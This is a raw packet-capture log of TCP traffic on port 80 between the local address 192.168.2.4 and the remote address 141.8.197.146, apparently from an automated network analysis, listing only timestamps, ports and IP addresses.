Nov 30, 2024 05:00:24.688354969 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.688405991 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.689157963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.689295053 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.689366102 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.690125942 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.690260887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.690309048 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.691051006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.691167116 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.691214085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.692014933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.692181110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.692245007 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.692959070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.693078995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.693155050 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.693911076 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.694087982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.694139004 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.694855928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.694984913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.695065022 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.695811987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.695930004 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.696017027 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.696748972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.696903944 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.696953058 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.697848082 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.697865009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.697925091 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.698669910 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.698782921 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.698832035 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.699620008 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.699724913 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.699795961 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.700548887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.700666904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.700710058 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.701479912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.701600075 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.701641083 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.702420950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.733310938 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.733361959 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.733422041 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.733766079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.733814001 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.733871937 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.734718084 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.734761953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.734819889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.735688925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.735733032 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.735759020 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.736627102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.736668110 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.736735106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.737552881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.737597942 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.737649918 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.738481998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.738528967 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.738557100 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.789735079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.860630989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.860723019 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.860773087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.861088991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.861216068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.861258030 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.862047911 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.862205029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.862247944 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.863009930 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.863085032 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.863127947 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.863969088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.864084005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.864126921 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.864892006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.865006924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.865048885 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.865839005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.865962982 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.866010904 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.866797924 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.866964102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.867019892 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.867785931 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.867855072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.867893934 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.868696928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.868808031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.868853092 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.869613886 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.869728088 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.869772911 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.870580912 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.870721102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.870767117 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.871526003 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.871654987 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.871701002 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.872474909 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.872596025 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.872638941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.873429060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.873574972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.873620033 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.874399900 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.874526024 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.874584913 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.875350952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.875483036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.875524044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.876306057 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.876396894 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.876435995 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.877247095 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.877315998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.877361059 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.878192902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.878307104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.878353119 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.879152060 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.879273891 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.879339933 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.880103111 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.880213976 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.880256891 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.881047010 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.881165028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.881208897 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.881995916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.882096052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.882189035 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.882946014 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.883055925 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.883137941 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.883912086 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.884049892 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.884090900 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.884813070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.884933949 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.884977102 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.885772943 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.885870934 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.885917902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.886708975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.886820078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.886863947 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.887651920 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.887792110 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.887839079 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.888603926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.888722897 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.888776064 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.889558077 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.889667988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.889750957 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.890506029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.890633106 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.890678883 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.891455889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.891571045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.891618013 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.892415047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.892544031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.892591953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.893445015 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.893569946 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.893630028 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.894314051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.894435883 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.894486904 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.895248890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.895400047 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.895447016 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.896231890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.896313906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.896364927 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.897156000 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.897269011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.897310972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.898142099 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.898189068 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.898231983 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.899048090 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.899149895 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.899192095 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.899993896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.900135994 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.900180101 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.900943995 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.901060104 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.901104927 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.901895046 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.902024031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.902064085 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.902838945 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.902951956 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.902993917 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.903774977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.934724092 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.934772968 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.934801102 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.935097933 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.935141087 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.935209036 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.936085939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.936124086 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.936178923 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.937046051 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.937096119 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.937148094 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.937972069 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.938050985 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.938080072 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.938970089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.939023972 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.939058065 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.939893007 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.939923048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:24.939935923 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:24.992872953 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.061770916 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.061856031 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.061897993 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.062239885 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.062360048 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.062402964 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.063201904 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.063323021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.063366890 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.064172029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.064234972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.064276934 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.065119028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.065226078 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.065268993 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.066063881 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.066168070 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.066212893 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.067002058 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.067090988 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.067133904 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.067977905 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.068093061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.068136930 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.068897009 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.069032907 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.069072962 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.069835901 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.069968939 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.070012093 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.070791006 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.070903063 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.071005106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.071733952 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.071908951 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.071952105 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.072700977 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.072829962 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.072874069 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.073623896 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.073759079 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.073803902 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.074595928 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.074717045 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.074765921 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.075515985 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.075639963 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.075686932 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.076510906 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.076529026 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.076575041 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.077455044 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.077579021 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.077642918 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.078423023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.078474998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.078517914 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.079340935 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.079457998 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.079502106 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.080288887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.080344915 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.080389977 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.081223965 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.081388950 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.081471920 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.082173109 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.082308054 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.082351923 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.083121061 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.083244085 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.083291054 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.084083080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.084213018 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.084258080 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.085010052 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.085136890 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.085182905 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.085937023 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.086083889 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.086127996 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.086929083 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.087032080 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.087085009 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.087877035 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.088013887 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.088057995 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.088831902 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.088943005 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.088985920 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.089761972 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.089884043 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.089927912 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.090723991 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.090857029 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.090903044 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.091674089 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.091799974 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.091850042 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.092612028 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.092739105 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.092782021 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.093590975 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.093688011 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.093750000 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.094513893 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.094640970 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.094683886 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.095485926 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.095602989 CET	80	49732	141.8.197.146	192.168.2.4
Nov 30, 2024 05:00:25.095644951 CET	49732	80	192.168.2.4	141.8.197.146
Nov 30, 2024 05:00:25.096414089 CET	80	49732	141.8.197.146	192.168.2.4
